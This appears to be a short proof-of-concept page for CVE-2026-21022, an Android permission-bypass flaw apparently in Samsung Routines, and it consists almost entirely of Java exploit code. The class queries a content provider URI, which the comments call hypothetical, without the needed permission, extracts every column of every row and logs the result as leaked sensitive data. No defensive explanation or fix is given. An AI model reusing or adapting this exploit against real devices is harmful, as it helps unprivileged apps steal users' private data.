CVE-2026-21022

// Conceptual Proof of Concept for CVE-2026-21022 // This code demonstrates how a low-privileged app might access sensitive data. import android.content.ContentResolver; import android.database.Cursor; import android.net.Uri; import android.util.Log; import android.content.Context; public class RoutineExploit { private Context context; public RoutineExploit(Context context) { this.context = context; } public void attemptLeak() { // Hypothetical vulnerable URI for Samsung Routines settings Uri routineUri = Uri.parse("content://com.samsung.android.routine.provider/internal_data"); ContentResolver resolver = context.getContentResolver(); try { // Attempt to query the URI without holding the required high-level permission // Due to the vulnerability (CVE-2026-21022), this check might be bypassed Cursor cursor = resolver.query(routineUri, null, null, null, null); if (cursor != null) { StringBuilder leakedData = new StringBuilder(); while (cursor.moveToNext()) { // Extract data from columns for (int i = 0; i < cursor.getColumnCount(); i++) { leakedData.append(cursor.getColumnName(i)) .append(" : ") .append(cursor.getString(i)) .append("\n"); } } cursor.close(); Log.e("CVE-2026-21022", "Successfully leaked sensitive data:\n" + leakedData.toString()); } else { Log.i("CVE-2026-21022", "Cursor is null, exploit failed or patched."); } } catch (SecurityException e) { Log.e("CVE-2026-21022", "Permission denied: " + e.getMessage()); } catch (Exception e) { Log.e("CVE-2026-21022", "Error: " + e.getMessage()); } } }

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